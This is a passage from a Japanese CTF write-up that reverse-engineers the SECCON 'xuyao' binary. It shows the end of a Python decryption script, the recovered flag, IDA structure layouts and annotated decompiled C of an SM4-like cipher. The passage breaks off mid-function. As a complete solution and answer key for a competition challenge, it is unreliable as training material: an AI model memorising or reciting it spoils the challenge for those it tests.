        block.append(int.from_bytes(enc[16*i + 4*j:16*i + 4*(j+1)], "little"))
    decrypted_block = inverse_encrypt_block(block)
    for row in decrypted_block:
        decrypted.extend(row.to_bytes(4, "little"))
flag = decrypted.rstrip(bytes([decrypted[-1]])).decode() # trim padding
print(flag)

実行結果です:

$ ./solve.py
Start tests...
Passed all the tests!
Congratulations! You have decrypted the flag: SECCON{x86_he2_zhuan1_you3_zi4_jie2_ma3_de_hun4he2}

$ ./xuyao
Message: Congratulations! You have decrypted the flag: SECCON{x86_he2_zhuan1_you3_zi4_jie2_ma3_de_hun4he2}
Correct! I think you got the flag now :)
$

フラグを入手できました: SECCON{x86_he2_zhuan1_you3_zi4_jie2_ma3_de_hun4he2}

ひたすらIDAで解析した結果

構造体定義

00000000 BlockSize16     struc ; (sizeof=0x10, mappedto_8)
00000000                                         ; XREF: encrypt_block+70/w
00000000                                         ; encrypt_block+196/r ...
00000000 pData           dq ?                    ; XREF: encrypt_block+5B/w
00000000                                         ; encrypt_block+85/w ... ; offset
00000008 dwIndex         dd ?                    ; XREF: encrypt_block+60/w
00000008                                         ; encrypt_block+75/w ...
0000000C dwElementBytes  dd ?                    ; XREF: encrypt_block+68/w
0000000C                                         ; encrypt_block+7D/w ...
00000010 BlockSize16     ends

00000000 ElementByteCountAndIndexPair struc ; (sizeof=0x8, mappedto_11)
00000000 dwIndex         dd ?
00000004 dwElementByteCount dd ?
00000008 ElementByteCountAndIndexPair ends

00000000 StructForMain   struc ; (sizeof=0x1000, mappedto_9)
00000000 strInputSize112 db 112 dup(?)           ; ユーザー入力の書き込み:「main+113」、パディングの書き込み:「main+1BF」、暗号化前の読み込み:「encrypt+363
00000070 byteArrayToCompareToEnc db 112 dup(?)   ; 暗号化結果の書き込み:「encrypt+3ED」、encとの比較:「main+21A」
000000E0 dwStrInputLength dd ?                   ; XREF: main+D2/w
000000E0                                         ; main:loc_2134/w ; 初期化:「main+D2」、更新:「main+116」
000000E4 dwStrInputWithPaddingLength dd ?        ; XREF: main+1D9/r ; 書き込み:「main+188」、読み込み:「main+1D9」、ループ終端判定に使用:「encrypt+322」
000000E8 dwPaddingCount  dd ?                    ; XREF: main+192/w ; 書き込み:「main+192」あるけど未使用?
000000EC byteValueForPadding db ?                ; XREF: main+198/w
000000EC                                         ; main+1B2/r ; 書き込み:「main+198」あるけど未使用?
000000ED notUsed         db 3859 dup(?)
00001000 StructForMain   ends

00000000 StructForEncrypt struc ; (sizeof=0x1000, mappedto_10)
00000000 dwValurForTemp  dd ?                    ; 一時作業に使用:「encrypt+346」付近
00000000                                         ;
00000000                                         ;
00000000                                         ; tnls+C9   048 0F B6 04 06                                      movzx   eax, byte ptr [rsi+rax]
00000004 dwIndex_StepIs16Byte dd ?               ; XREF: encrypt+2D5/w
00000004                                         ; encrypt:loc_1EF5/r
00000008 dwProcessingForInputChar dd ?           ; XREF: encrypt+367/w
00000008                                         ; encrypt+3DA/w ; ユーザー入力由来の値の書き込み「encrypt+367」付近の一時作業用途
00000008                                         ; 最後の暗号化家か取得時の書き込み「encrypt+3DA」は無意味では?
0000000C dwArrayInputtedFlagSize4 dd 4 dup(?)    ; ユーザー入力をビットシフトして詰める「encrypt+388」
0000001C dwArrayEncryptedResultSize4 dd 4 dup(?) ; 1ブロックの32回r関数適用結果格納:「encrypt_block+3D8」
0000001C                                         ; ↑結果のエンディアン反転の再格納:「encrypt_block+365」
0000001C                                         ; 暗号化結果の取得:「encrypt+3CC」
0000002C dwKeyForWork    dd ?                    ; XREF: encrypt+1A5/w
0000002C                                         ; encrypt+1FC/w ... ; 固定値由来の書き込みあるけど未使用?:「encrypt+1A5」等
0000002C                                         ; 固定値由来の書き込みしてks関数内部で使用:「encrypt+249」
0000002C                                         ; ks内部関数でバイトごとにsboxアクセスに使用:「tnls+C0」
00000030 dwXorResultUsingSbox dd ?               ; XREF: encrypt+292/r ; 固定値由来の加工結果書き込み:「kls+C0」
00000030                                         ; 結果取得してXORしてoffset64へ書き込みする場所:「encrypt+292」
00000034 dwArraySize4ForSomeKey dd 4 dup(?)      ; 固定値由来の書き込み:「encrypt+1B8」
00000044 dwArrayScheduledKeySize32 dd 32 dup(?)  ; 固定値由来の書き込み:「encrypt+2A5」
00000044                                         ; 取得してループ中に4バイトずつ使用:「encrypt_block+172」
000000C4 byteArrayNotUsed db 3900 dup(?)
00001000 StructForEncrypt ends

00000000 StructForEncryptBlock struc ; (sizeof=0x1000, mappedto_12)
00000000 dwElsResult     dd ?                    ; XREF: encrypt_block+282/r ; r関数結果書き込み「els+C4」
00000000                                         ; その結果を読み込んでoffset0x10へ格納:「encrypt_block+282」
00000004 dwArrayUsedToXorSize4 dd 4 dup(?)       ; ユーザー入力のバイトオーダー関係操作後の書き込み:「encrypt_block+11B」
00000004                                         ; r関数呼び出し後に、配列要素を1個ずつ前に移動、最後にr関数結果を詰める「encrypt_block+244」(それが32回ループするはず)
00000014 notUsed         db 4076 dup(?)
00001000 StructForEncryptBlock ends

各関数の逆コンパイル結果にコメント追加や型設定等を施した後の内容

// sbox処理が実際のもの
// 第1引数が異なる型?使う場所のレイアウトが同じだけ?それとも完全に同一?→レイアウトが同じだけ説はある
// 今回はKsのindexは0固定
// Ks[0] = (sbox[(pData[index])     & 0xFF]) |
//         (sbox[(pData[index]>>8)  & 0xFF] << 8) |
//         (sbox[(pData[index]>>16) & 0xFF] << 16) |
//         (sbox([pData[index]>>24) & 0xFF] << 24
void __fastcall tnls(
        const void *pDataToIndexing,
        ElementByteCountAndIndexPair pairToIndexing,
        BYTE *pStructForKsDest,
        ElementByteCountAndIndexPair pairForKs_ByteCount4_Index0)
{
  int dwIndexForKs_Index0; // ebp
  int dwElementByteCountForStructForKs; // r15d
  BYTE *pStructForTnls_1; // rax
  BYTE *pStructForTnls; // rdi
  int dwShiftCount; // ecx
  int dwSboxedValue; // eax
  int dwIndexForKs_Index0_; // [rsp+Ch] [rbp-3Ch]

  dwIndexForKs_Index0 = pairForKs_ByteCount4_Index0.dwIndex;
  dwIndexForKs_Index0_ = pairForKs_ByteCount4_Index0.dwIndex;
  dwElementByteCountForStructForKs = pairForKs_ByteCount4_Index0.dwElementByteCount;
  pStructForTnls_1 = (BYTE *)mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);// 結局確保したものほぼ使っていないのでは?
  if ( pStructForTnls_1 == (BYTE *)-1LL )
    exit(1);
  pStructForTnls = pStructForTnls_1;
  switch ( dwElementByteCountForStructForKs )
  {
    case 1:
      pStructForKsDest[dwIndexForKs_Index0] = 0;
      break;
    case 2:
      *(_WORD *)&pStructForKsDest[dwIndexForKs_Index0] = 0;
      break;
    case 4:
      *(_DWORD *)&pStructForKsDest[dwIndexForKs_Index0] = 0;// 絶対ここを通る
      break;
    case 8:
      *(_QWORD *)&pStructForKsDest[dwIndexForKs_Index0] = 0LL;
      break;
    default:
      BUG();
  }
  for ( dwShiftCount = 0; dwShiftCount != 32; dwShiftCount += 8 )
  {
    if ( pairToIndexing.dwElementByteCount != 4 )
      BUG();
    dwSboxedValue = sbox[(unsigned __int8)(*(_DWORD *)((char *)pDataToIndexing + (unsigned int)pairToIndexing.dwIndex) >> dwShiftCount)] << dwShiftCount;
    *(_DWORD *)(pStructForTnls + 1) = dwSboxedValue;// これ無意味では?
    if ( dwElementByteCountForStructForKs != 4 )
      BUG();
    *(_DWORD *)&pStructForKsDest[dwIndexForKs_Index0_] |= dwSboxedValue;// 実質的にここが重要
  }
  munmap(pStructForTnls, 0x1000uLL);
}

// pStructEncrypt.dwOffset48 = dwKs ^ rol(dwKs, 11) ^ ror(dwKs, 7)
// Encrypt側を、Ks側の値を使って加工する
int __fastcall kls(
        const BYTE *pStructForKs,
        ElementByteCountAndIndexPair pairForKs_ByteCount4_Index0,
        StructForEncrypt *pStructForEncrypt,
        ElementByteCountAndIndexPair pairForEncrypt_ByteCount4_Index48)
{
  unsigned int dwIndexForEncrypt_48; // ebx
  int dwElementByteCountForStructForEncrypt; // r14d
  _DWORD *pAllocatedButNoMean_1; // rax
  _DWORD *pAllocatedButNoMean; // rdi
  _DWORD *pdwKsIndex0; // rbp
  _DWORD *pdwEncryptIndex48; // rax
  int dwRol11; // edx
  int dwRor7; // edx

  dwIndexForEncrypt_48 = pairForEncrypt_ByteCount4_Index48.dwIndex;
  dwElementByteCountForStructForEncrypt = pairForEncrypt_ByteCount4_Index48.dwElementByteCount;// dwElementByteCountForStructForEncrypt must be 4
  pAllocatedButNoMean_1 = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
  if ( pAllocatedButNoMean_1 == (_DWORD *)-1LL )
    exit(1);
  pAllocatedButNoMean = pAllocatedButNoMean_1;
  if ( pairForKs_ByteCount4_Index0.dwElementByteCount != dwElementByteCountForStructForEncrypt )// 見る必要がない分岐
    BUG();
  if ( dwElementByteCountForStructForEncrypt == 1 )
  {
    *((_BYTE *)&pStructForEncrypt->dwValurForTemp + dwIndexForEncrypt_48) = pStructForKs[pairForKs_ByteCount4_Index0.dwIndex];
    goto labelBug;
  }
  if ( dwElementByteCountForStructForEncrypt == 2 )// 見る必要がない分岐
  {
    *(_WORD *)((char *)&pStructForEncrypt->dwValurForTemp + dwIndexForEncrypt_48) = *(_WORD *)&pStructForKs[pairForKs_ByteCount4_Index0.dwIndex];
    goto labelBug;
  }
  if ( dwElementByteCountForStructForEncrypt != 4 )// 見る必要がない分岐
  {
    if ( dwElementByteCountForStructForEncrypt != 8 )
      BUG();
    *(_QWORD *)((char *)&pStructForEncrypt->dwValurForTemp + dwIndexForEncrypt_48) = *(_QWORD *)&pStructForKs[pairForKs_ByteCount4_Index0.dwIndex];
labelBug:
    BUG();
  }                                             // この後が本番
  pdwKsIndex0 = &pStructForKs[pairForKs_ByteCount4_Index0.dwIndex];
  pdwEncryptIndex48 = (int *)((char *)&pStructForEncrypt->dwValurForTemp + dwIndexForEncrypt_48);
  *pdwEncryptIndex48 = *pdwKsIndex0;
  dwRol11 = __ROL4__(*pdwKsIndex0, 11);
  *pAllocatedButNoMean = dwRol11;
  *pdwEncryptIndex48 ^= dwRol11;
  dwRor7 = __ROR4__(*pdwKsIndex0, 7);
  *pAllocatedButNoMean = dwRor7;
  *pdwEncryptIndex48 ^= dwRor7;
  return munmap(pAllocatedButNoMean, 0x1000uLL);
}

// v = *(DWORD*)pStructForUnnamed;
// pStructForEncryptBlock->dwOffset0 = v ^ rol(v,3) ^ rol(v,9) ^ rol(v,14) ^ rol(v,15)
void __fastcall els(
        const BYTE *pStructForUnnamed,
        ElementByteCountAndIndexPair pairForUnnamed_ByteCount4_Index0,
        StructForEncryptBlock *pStructForEncryptBlock,
        ElementByteCountAndIndexPair pairForEncryptBlock_ByteCount4_Index0)
{
  unsigned int dwIndexForEncryptBlock_Index0; // ebx
  int dwElementByteCount; // r14d
  _DWORD *pStructForElsButNoMeans_1; // rax
  _DWORD *pStructForElsButNoMeans; // rdi
  const BYTE *pdwStructForUnnamed_Index0; // rbp
  _DWORD *pdwStructForEncryptBlock_Index0; // rax
  int dwRol3; // edx
  int dwRol14; // edx
  int dwRol15; // edx
  int dwRol9; // edx

  dwIndexForEncryptBlock_Index0 = pairForEncryptBlock_ByteCount4_Index0.dwIndex;
  dwElementByteCount = pairForEncryptBlock_ByteCount4_Index0.dwElementByteCount;
  pStructForElsButNoMeans_1 = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
  if ( pStructForElsButNoMeans_1 == (_DWORD *)-1LL )
    exit(1);
  pStructForElsButNoMeans = pStructForElsButNoMeans_1;
  if ( pairForUnnamed_ByteCount4_Index0.dwElementByteCount != dwElementByteCount )
    BUG();
  if ( dwElementByteCount == 1 )                // ByteCountは4なのでここから無関係処理
  {
    *((_BYTE *)&pStructForEncryptBlock->dwElsResult + dwIndexForEncryptBlock_Index0) = pStructForUnnamed[pairForUnnamed_ByteCount4_Index0.dwIndex];
    goto LABEL_11;
  }
  if ( dwElementByteCount == 2 )
  {
    *(_WORD *)((char *)&pStructForEncryptBlock->dwElsResult + dwIndexForEncryptBlock_Index0) = *(_WORD *)&pStructForUnnamed[pairForUnnamed_ByteCount4_Index0.dwIndex];
    goto LABEL_11;
  }
  if ( dwElementByteCount != 4 )
  {
    if ( dwElementByteCount != 8 )
      BUG();
    *(_QWORD *)((char *)&pStructForEncryptBlock->dwElsResult + dwIndexForEncryptBlock_Index0) = *(_QWORD *)&pStructForUnnamed[pairForUnnamed_ByteCount4_Index0.dwIndex];
LABEL_11:
    BUG();
  }                                             // ByteCountは4なのでここまで無関係処理
  pdwStructForUnnamed_Index0 = &pStructForUnnamed[pairForUnnamed_ByteCount4_Index0.dwIndex];
  pdwStructForEncryptBlock_Index0 = (int *)((char *)&pStructForEncryptBlock->dwElsResult + dwIndexForEncryptBlock_Index0);
  *pdwStructForEncryptBlock_Index0 = *(_DWORD *)pdwStructForUnnamed_Index0;
  dwRol3 = __ROL4__(*(_DWORD *)pdwStructForUnnamed_Index0, 3);
  *pStructForElsButNoMeans = dwRol3;
  *pdwStructForEncryptBlock_Index0 ^= dwRol3;
  dwRol14 = __ROL4__(*(_DWORD *)pdwStructForUnnamed_Index0, 14);
  *pStructForElsButNoMeans = dwRol14;
  *pdwStructForEncryptBlock_Index0 ^= dwRol14;
  dwRol15 = __ROL4__(*(_DWORD *)pdwStructForUnnamed_Index0, 15);
  *pStructForElsButNoMeans = dwRol15;
  *pdwStructForEncryptBlock_Index0 ^= dwRol15;
  dwRol9 = __ROL4__(*(_DWORD *)pdwStructForUnnamed_Index0, 9);
  *pStructForElsButNoMeans = dwRol9;
  *pdwStructForEncryptBlock_Index0 ^= dwRol9;
  munmap(pStructForElsButNoMeans, 0x1000uLL);
}

// pEncrypt->dwOffset48 = sboxやらorやらrotateやら(pEncrypt->dwOffset44)
void __fastcall ks(
        const StructForEncrypt *pStructForEncryptsrSrc,
        ElementByteCountAndIndexPair pairForEncrypt_ByteCount4_Index44,
        StructForEncrypt *pStructForEncryptDst,
        ElementByteCountAndIndexPair pairForEncrypt_ByteCount4_Index48)
{
  BYTE *pStructForKs; // rax
  BYTE *pStructForKs_1; // rbx
  ElementByteCountAndIndexPair pairForKs_ByteCount4_Index0; // rcx
  ElementByteCountAndIndexPair pairForEncrypt_ByteCount4_Index48_; // rcx
  ElementByteCountAndIndexPair pairForKs_ByteCount4_Index0_; // rsi

  pStructForKs = (BYTE *)mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
  if ( pStructForKs == (BYTE *)-1LL )
    exit(1);
  pStructForKs_1 = pStructForKs;
  pairForKs_ByteCount4_Index0 = (ElementByteCountAndIndexPair)0x400000000LL;// elementByteCount=4, index=0
  tnls(pStructForEncryptsrSrc, pairForEncrypt_ByteCount4_Index44, pStructForKs, pairForKs_ByteCount4_Index0);// *(DWORD*)pStructForKs := pStructForEncrypt1[pair.Key1]依存のsboxやshift結果
  pairForEncrypt_ByteCount4_Index48_ = pairForEncrypt_ByteCount4_Index48;
  pairForKs_ByteCount4_Index0_ = (ElementByteCountAndIndexPair)0x400000000LL;// elementByteCount=4, index=0
  kls(pStructForKs_1, pairForKs_ByteCount4_Index0_, pStructForEncryptDst, pairForEncrypt_ByteCount4_Index48_);// pStructEncrypt.dwOffset48 = dwKs ^ rol(dwKs, 11) ^ ror(dwKs, 7)
  munmap(pStructForKs_1, 0x1000uLL);
}

// 何故かこの関数だけシンボル名なし。IDAの自動名称: 「sub_15B9」
// v = *pdwUnnamed = (sbox[(pR[0] & 0xFF)]) | (sbox[(pR[0]>>8)  & 0xFF] << 8) | (sbox[(pR[0]>>16) & 0xFF] << 16) | (sbox([pR[0]>>24) & 0xFF] << 24;
// pStructForEncryptBlock->dwOffset0 = v ^ rol(v,3) ^ rol(v,9) ^ rol(v,14) ^ rol(v,15)
int __fastcall ProcCallingTlnsAndEls(
        const StructForR *pStructForR,
        ElementByteCountAndIndexPair pairForR_ByteCount4_Index0,
        StructForEncryptBlock *pStructForEncryptBlock,
        ElementByteCountAndIndexPair pairForEncryptBlock_ByteCount4_Index0)
{
  BYTE *pStructForUnnamed; // rax
  BYTE *pStructForUnnamed_1; // rbx
  ElementByteCountAndIndexPair pairForUnnamed_ByteCount4_Index0; // rcx
  ElementByteCountAndIndexPair pairForEncryptBlock_ByteCount4_Index0_; // rcx
  ElementByteCountAndIndexPair pairForUnnamed_ByteCount4_Index0_; // rsi

  pStructForUnnamed = (BYTE *)mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
  if ( pStructForUnnamed == (BYTE *)-1LL )
    exit(1);
  pStructForUnnamed_1 = pStructForUnnamed;
  pairForUnnamed_ByteCount4_Index0 = (ElementByteCountAndIndexPair)0x400000000LL;
  tnls(pStructForR, pairForR_ByteCount4_Index0, pStructForUnnamed, pairForUnnamed_ByteCount4_Index0);// *pdwUnnamed = (sbox[(pR[0] & 0xFF)]) | (sbox[(pR[0]>>8)  & 0xFF] << 8) | (sbox[(pR[0]>>16) & 0xFF] << 16) | (sbox([pR[0]>>24) & 0xFF] << 24
  pairForEncryptBlock_ByteCount4_Index0_ = pairForEncryptBlock_ByteCount4_Index0;
  pairForUnnamed_ByteCount4_Index0_ = (ElementByteCountAndIndexPair)0x400000000LL;
  els(                                          // v = *(DWORD*)pStructForUnnamed;
                                                // pStructForEncryptBlock->dwOffset0 = v ^ rol(v,3) ^ rol(v,9) ^ rol(v,14) ^ rol(v,15)
    pStructForUnnamed_1,
    pairForUnnamed_ByteCount4_Index0_,
    pStructForEncryptBlock,
    pairForEncryptBlock_ByteCount4_Index0_);
  return munmap(pStructForUnnamed_1, 0x1000uLL);
}

// 多分1ラウンドの暗号化の一要素
// d = (DWORD[4])pEncryptBlock[4:20]
// x = d[1] ^ d[2] ^ d[3] ^ (DWORD)pEncrypt[68+i:68+i+4]
// v = *pdwUnnamed = (sbox[(x & 0xFF)]) | (sbox[(x>>8)  & 0xFF] << 8) | (sbox[(x>>16) & 0xFF] << 16) | (sbox([x>>24) & 0xFF] << 24;
// pStructForEncryptBlock->dwOffset0 = v ^ rol(v,3) ^ rol(v,9) ^ rol(v,14) ^ rol(v,15) ^ d[0]
// d[0]だけ扱いが違うことに注意
void __fastcall r(
        const BlockSize16 *pArrayForBlockSize16Size4_InEncryptBlock_Index4And20,
        const BYTE *pStructForEncrypt,
        ElementByteCountAndIndexPair pairForEncrypt_ByteCount4_Index68PlusOffset,
        StructForEncryptBlock *pStructForEncryptBlock,
        ElementByteCountAndIndexPair pairForEncryptBlock_ByteCount4_Index0)
{
  int dwElementByteCount; // r15d
  _DWORD *pdwAllocated_1; // rax
  _DWORD *pdwAllocated; // rbp
  int dwEncryptIndex4NPlus1; // eax
  int dwEncryptIndex4NPlus2_xor_4NPlus1; // eax
  int dwEncryptIndex4NPlus3_xor_NPlus2_xor_4NPlus1; // eax
  ElementByteCountAndIndexPair pairForEncryptBlock_ByteCount4_Index0_; // rcx
  ElementByteCountAndIndexPair pairForR_ByteCount4_Index0; // rsi

  dwElementByteCount = pairForEncryptBlock_ByteCount4_Index0.dwElementByteCount;
  pdwAllocated_1 = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
  if ( pdwAllocated_1 == (_DWORD *)-1LL )
    exit(1);
  pdwAllocated = pdwAllocated_1;
  if ( pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].dwElementBytes != 4 )
    BUG();
  dwEncryptIndex4NPlus1 = *(_DWORD *)((char *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].pData
                                    + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].dwIndex);
  *pdwAllocated = dwEncryptIndex4NPlus1;        // 無意味書き込み
  if ( pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwElementBytes != 4 )
    BUG();
  dwEncryptIndex4NPlus2_xor_4NPlus1 = *(_DWORD *)((char *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].pData
                                                + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwIndex) ^ dwEncryptIndex4NPlus1;
  *pdwAllocated = dwEncryptIndex4NPlus2_xor_4NPlus1;// 無意味書き込み
  if ( pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwElementBytes != 4 )
    BUG();
  dwEncryptIndex4NPlus3_xor_NPlus2_xor_4NPlus1 = *(_DWORD *)((char *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].pData
                                                           + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwIndex) ^ dwEncryptIndex4NPlus2_xor_4NPlus1;
  *pdwAllocated = dwEncryptIndex4NPlus3_xor_NPlus2_xor_4NPlus1;// 無意味書き込み
  if ( pairForEncrypt_ByteCount4_Index68PlusOffset.dwElementByteCount != 4 )
    BUG();
  *pdwAllocated = *(_DWORD *)&pStructForEncrypt[pairForEncrypt_ByteCount4_Index68PlusOffset.dwIndex] ^ dwEncryptIndex4NPlus3_xor_NPlus2_xor_4NPlus1;// この書き込みは後の関数中で間接参照する
  pairForEncryptBlock_ByteCount4_Index0_ = pairForEncryptBlock_ByteCount4_Index0;
  pairForR_ByteCount4_Index0 = (ElementByteCountAndIndexPair)0x400000000LL;
  ProcCallingTlnsAndEls(                        // v = *pdwUnnamed = (sbox[(pR[0] & 0xFF)]) | (sbox[(pR[0]>>8)  & 0xFF] << 8) | (sbox[(pR[0]>>16) & 0xFF] << 16) | (sbox([pR[0]>>24) & 0xFF] << 24;
                                                // pStructForEncryptBlock->dwOffset0 = v ^ rol(v,3) ^ rol(v,9) ^ rol(v,14) ^ rol(v,15)
    (const StructForR *)pdwAllocated,
    pairForR_ByteCount4_Index0,
    pStructForEncryptBlock,
    pairForEncryptBlock_ByteCount4_Index0_);
  if ( dwElementByteCount != pArrayForBlockSize16Size4_InEncryptBlock_Index4And20->dwElementBytes )
    BUG();
  switch ( dwElementByteCount )
  {
    case 1:
      *((_BYTE *)&pStructForEncryptBlock->dwElsResult + (unsigned int)pairForEncryptBlock_ByteCount4_Index0.dwIndex) ^= *((_BYTE *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20->pData + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20->dwIndex);
      break;
    case 2:
      *(_WORD *)((char *)&pStructForEncryptBlock->dwElsResult
               + (unsigned int)pairForEncryptBlock_ByteCount4_Index0.dwIndex) ^= *(_WORD *)((char *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20->pData
                                                                                          + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20->dwIndex);
      break;
    case 4:                                     // ここを通る、ここでもpStructForEncryptBlock->dwOffset0を^=する
      *(int *)((char *)&pStructForEncryptBlock->dwElsResult + (unsigned int)pairForEncryptBlock_ByteCount4_Index0.dwIndex) ^= *(_DWORD *)((char *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20->pData + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20->dwIndex);
      break;
    case 8:
      *(_QWORD *)((char *)&pStructForEncryptBlock->dwElsResult
                + (unsigned int)pairForEncryptBlock_ByteCount4_Index0.dwIndex) ^= *(_QWORD *)((char *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20->pData
                                                                                            + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20->dwIndex);
      break;
    default:
      BUG();
  }
  munmap(pdwAllocated, 0x1000uLL);
}

// 16バイトを暗号化するはず
// 第1引数: 入力を4バイトずつ行列にした16バイト
// 第2引数: 多分RoundKeyとか
// 第3引数: 暗号化結果格納用←あってる
void __fastcall encrypt_block(
        const BlockSize16 *pArrayForBlockSize16Size4_InEncrypt_Index12And28,
        const BlockSize16 *pArrayForBlockSize16Size4_InEncrypt_Index68And196,
        BlockSize16 *pArrayForBlockSize16Size4_InEncrypt_Index28And44)
{
  StructForEncryptBlock *pStructForEncryptBlock_1; // rax
  StructForEncryptBlock *pStructForEncryptBlock; // rbp
  BlockSize16 *pArrayForBlockSize16Size4_InEncryptBlock_Index4And20; // r15
  BlockSize16 *pArrayForBlockSize16Size4_InEncryptBlock_Index4And20_ForInitialize; // rdi
  int dwIndexForInitialize; // eax
  int dwElementBytes; // esi
  const BlockSize16 *pBlockSize16_InEncrypt_Index68And196_PlusOffset; // rbx
  const BlockSize16 *pLoopEnd; // r12
  _BYTE *mustNotComeHere; // rcx
  int v14; // esi
  _BYTE *v15; // rax
  _WORD *mustNotComeHere_1; // rcx
  int v17; // esi
  _WORD *v18; // rax
  int *pdwEncryptBlockIndex8; // rax
  int v20; // edi
  int *pdwEncryptBlockIndex12; // rcx
  int v22; // esi
  int *pdwEncryptBlockIndex16; // rax
  ElementByteCountAndIndexPair pairForEncryptBlock_ByteCount4_Index0; // r8
  ElementByteCountAndIndexPair pairForEncrypt_ByteCount4_Index68PlusOffset; // rdx
  int v26; // edx
  _QWORD *mustNotComeHere_2; // rcx
  int v28; // esi
  _QWORD *v29; // rax
  BlockSize16 *pBlockSize16_InEncrypt_Index28And44_PlusIndex; // rcx
  unsigned int *pdwEncryptIndex28PlusIndex; // rax
  int v32; // edx
  BlockSize16 arrayForBlockSize16Size4_InEncryptBlock_Index4And20[4]; // [rsp+10h] [rbp-88h] BYREF
  unsigned __int64 qwCanary; // [rsp+58h] [rbp-40h]

  qwCanary = __readfsqword(0x28u);
  pStructForEncryptBlock_1 = (StructForEncryptBlock *)mmap(0LL, sizeof(StructForEncryptBlock), 3, 34, -1, 0LL);
  if ( pStructForEncryptBlock_1 == (StructForEncryptBlock *)-1LL )
    exit(1);
  pStructForEncryptBlock = pStructForEncryptBlock_1;
  arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].pData = pStructForEncryptBlock_1;
  arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwIndex = 4;
  arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwElementBytes = 4;
  arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].pData = pStructForEncryptBlock_1;
  arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].dwIndex = 8;
  arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].dwElementBytes = 4;
  arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].pData = pStructForEncryptBlock_1;
  arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwIndex = 12;
  arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwElementBytes = 4;
  arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].pData = pStructForEncryptBlock_1;
  arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwIndex = 16;
  arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwElementBytes = 4;
  pArrayForBlockSize16Size4_InEncryptBlock_Index4And20 = arrayForBlockSize16Size4_InEncryptBlock_Index4And20;
  pArrayForBlockSize16Size4_InEncryptBlock_Index4And20_ForInitialize = arrayForBlockSize16Size4_InEncryptBlock_Index4And20;
  for ( dwIndexForInitialize = 0; dwIndexForInitialize != 4; ++dwIndexForInitialize )// DWORDごとにbyteorder反転でStructForEncryptBlockへ格納するループ
  {
    dwElementBytes = pArrayForBlockSize16Size4_InEncryptBlock_Index4And20_ForInitialize->dwElementBytes;// must be 4
    if ( dwElementBytes != pArrayForBlockSize16Size4_InEncrypt_Index12And28->dwElementBytes )
      BUG();
    if ( dwElementBytes == 1 )                  // 無視可能な分岐
    {
      *((_BYTE *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[dwIndexForInitialize].pData
      + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[dwIndexForInitialize].dwIndex) = *((_BYTE *)pArrayForBlockSize16Size4_InEncrypt_Index12And28->pData
                                                                                             + pArrayForBlockSize16Size4_InEncrypt_Index12And28->dwIndex);
      goto labelBug4;
    }
    if ( dwElementBytes == 2 )                  // 無視可能な分岐
    {
      *(_WORD *)((char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[dwIndexForInitialize].pData
               + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[dwIndexForInitialize].dwIndex) = *(_WORD *)((char *)pArrayForBlockSize16Size4_InEncrypt_Index12And28->pData + pArrayForBlockSize16Size4_InEncrypt_Index12And28->dwIndex);
      goto labelBug4;
    }
    if ( dwElementBytes != 4 )                  // 無視可能な分岐
    {
      if ( dwElementBytes != 8 )
        BUG();
      *(_QWORD *)((char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[dwIndexForInitialize].pData
                + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[dwIndexForInitialize].dwIndex) = *(_QWORD *)((char *)pArrayForBlockSize16Size4_InEncrypt_Index12And28->pData + pArrayForBlockSize16Size4_InEncrypt_Index12And28->dwIndex);
labelBug4:
      BUG();
    }                                           // この後が本質
    *(_DWORD *)((char *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20_ForInitialize->pData// pEncryptedBlock[4+(i*4):4+(i+1)*4] = _byteswap_ulong(pEncrypted[12+(i*4):(12+((i+1)*4)])
              + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20_ForInitialize->dwIndex) = _byteswap_ulong(*(_DWORD *)((char *)pArrayForBlockSize16Size4_InEncrypt_Index12And28->pData + pArrayForBlockSize16Size4_InEncrypt_Index12And28->dwIndex));
    ++pArrayForBlockSize16Size4_InEncryptBlock_Index4And20_ForInitialize;
    ++pArrayForBlockSize16Size4_InEncrypt_Index12And28;
  }
  pBlockSize16_InEncrypt_Index68And196_PlusOffset = pArrayForBlockSize16Size4_InEncrypt_Index68And196;
  pLoopEnd = pArrayForBlockSize16Size4_InEncrypt_Index68And196 + 32;
  do                                            // 32回ループするはず
  {
    pairForEncryptBlock_ByteCount4_Index0 = (ElementByteCountAndIndexPair)0x400000000LL;
